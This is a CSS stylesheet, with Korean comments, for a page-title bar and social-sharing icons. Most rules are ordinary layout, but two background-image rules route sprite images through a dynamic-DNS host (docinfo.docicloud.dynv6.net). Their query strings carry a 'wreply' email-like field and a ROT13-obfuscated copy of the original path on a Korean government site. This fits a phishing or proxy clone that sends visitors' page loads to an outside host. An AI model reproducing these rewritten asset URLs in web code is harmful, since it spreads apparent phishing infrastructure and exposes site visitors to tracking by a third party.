#pageheader .pagetitle .group .dropdown-menu .social li { width: 33.33%; }

@media (min-width: 768px) {
    #pageheader .pagetitle .group .dropdown-menu { width: 260px; }
    #pageheader .pagetitle .group .dropdown-menu .copy { min-width: 260px }
}

/*******************************************************************************/

/*  타이틀 및 소셜링크 분리 후 정리 css  */
#content .pagetitle {
    position: relative;
    margin-top: 1.65em;
    margin-bottom: 1.5em;
}

#content .pagetitle h2 {
    margin: 0;
    padding-bottom: 0.95em;
    font-size: 1.5rem;
    font-weight: 500;
    color: #333;
    border-bottom: 1px solid #ddd;
}
#content .pagetitle h2 small {
    display: block;
    margin-top: .75rem;
    font-size: .875rem;
}

@media (min-width: 768px) {
    #content .pagetitle {
        margin-top: 2.75em;
        margin-bottom: 2.5em;
    }
    #content .pagetitle h2 {
        font-size: 1.75rem;
    }
    #content .pagetitle h2 small {
        display: inline-block;
        margin-top: 0;
        margin-left: 1rem;
        font-size: 1rem;
    }
}

#content .pagetitle > div{overflow: hidden; border-bottom: 1px solid #ddd;}
#content .pagetitle h2{float: left; border:none;}
#content .pagetitle .new_group{float: right;}
.new_social{
    list-style: none;
    margin: 0px; padding:0px;
    float: left;
}
/* #content .pagetitle .new_group button.dropdown-toggle_print{float: left;} */
#content .pagetitle .new_group .new_social li a i {
    display: block;
    margin: 0 auto 0.25rem auto;
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tt.tb.xe%2Sfvgr%2Stt%2Spbzzba%2Snffrgf%2Sgurzrf%2Sznva%2Svzntrf%2Svpb-fcevgr-fbpvny.cat);
    background-repeat: no-repeat;
    background-size: auto auto;
    width: 2.8125em;
    height: 2.8125em;

}
#content .pagetitle .new_group .new_social li:last-child a i {
    background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.tt.tb.xe%2Sfvgr%2Stt%2Spbzzba%2Snffrgf%2Sgurzrf%2Sznva%2Svzntrf%2Svpb-fcevgr-fbpvny_cevag.cat);
    background-position: 0 0;
}
#content .pagetitle .new_group .dropdown-toggle_print {
    width: 2.8125em;
    height: 2.8125em;
    border: 1px solid #ddd;
    border-radius: 100%;
    background: #fff;
    color: #111;
}
#content .pagetitle .new_group .new_social li a i.kakao {
    background-position: 0 0;
}
#content .pagetitle .new_group .new_social li a i.facebook {
    background-position: -100px 0;
}
#content .pagetitle .new_group .new_social li a i.twitter {
    background-position: -50px 0;
}
#content .pagetitle .new_group .new_social li a i.kakaostory {
    background-position: -300px 0;
}
#content .pagetitle .new_group .new_social li a i.naver {
    background-position: -350px 0;
}
#content .pagetitle .new_group .new_social li a i.url_copy {
    background-position: -400px 0;
}

@media (max-width: 768px) {
    #content .pagetitle .new_group .new_social li a i {
        background-size: cover;
    }
    #content .pagetitle .new_group .new_social li a i.kakao {
        background-position: 1px 0;
    }
    #content .pagetitle .new_group .new_social li a i.facebook {
        background-position: -77px 0;
    }
    #content .pagetitle .new_group .new_social li a i.twitter {
        background-position: -38px 0;
    }
    #content .pagetitle .new_group .new_social li a i.kakaostory {
        background-position: -234px 0;
    }
    #content .pagetitle .new_group .new_social li a i.naver {
        background-position: -278px 0;
    }
    #content .pagetitle .new_group .new_social li a i.url_copy {
        background-position: -319px 0;
    }
}

@media (max-width: 480px) {
    #content .pagetitle h2{padding: 0px;}
    #content .pagetitle .new_group .dropdown-toggle_print {
        width: 2em;
        height: 2em;
    }
    #content .pagetitle .new_group .new_social li a i {
        width: 2em;
        height: 2em;
    }
    #content .pagetitle .new_group .new_social li a i.kakao {
        background-position: 0px 0;
    }
    #content .pagetitle .new_group .new_social li a i.facebook {
        background-position: -55px 0;
    }
    #content .pagetitle .new_group .new_social li a i.twitter {
        background-position: -27px 0;
    }
    #content .pagetitle .new_group .new_social li a i.kakaostory {
        background-position: -168px 0;
    }
    #content .pagetitle .new_group .new_social li a i.naver {
        background-position: -195px 0;
    }
    #content .pagetitle .new_group .new_social li a i.url_copy {
        background-position: -222px 0;
    }
}
/*  타이틀 및 소셜링크 분리 후 정리 css 끝  */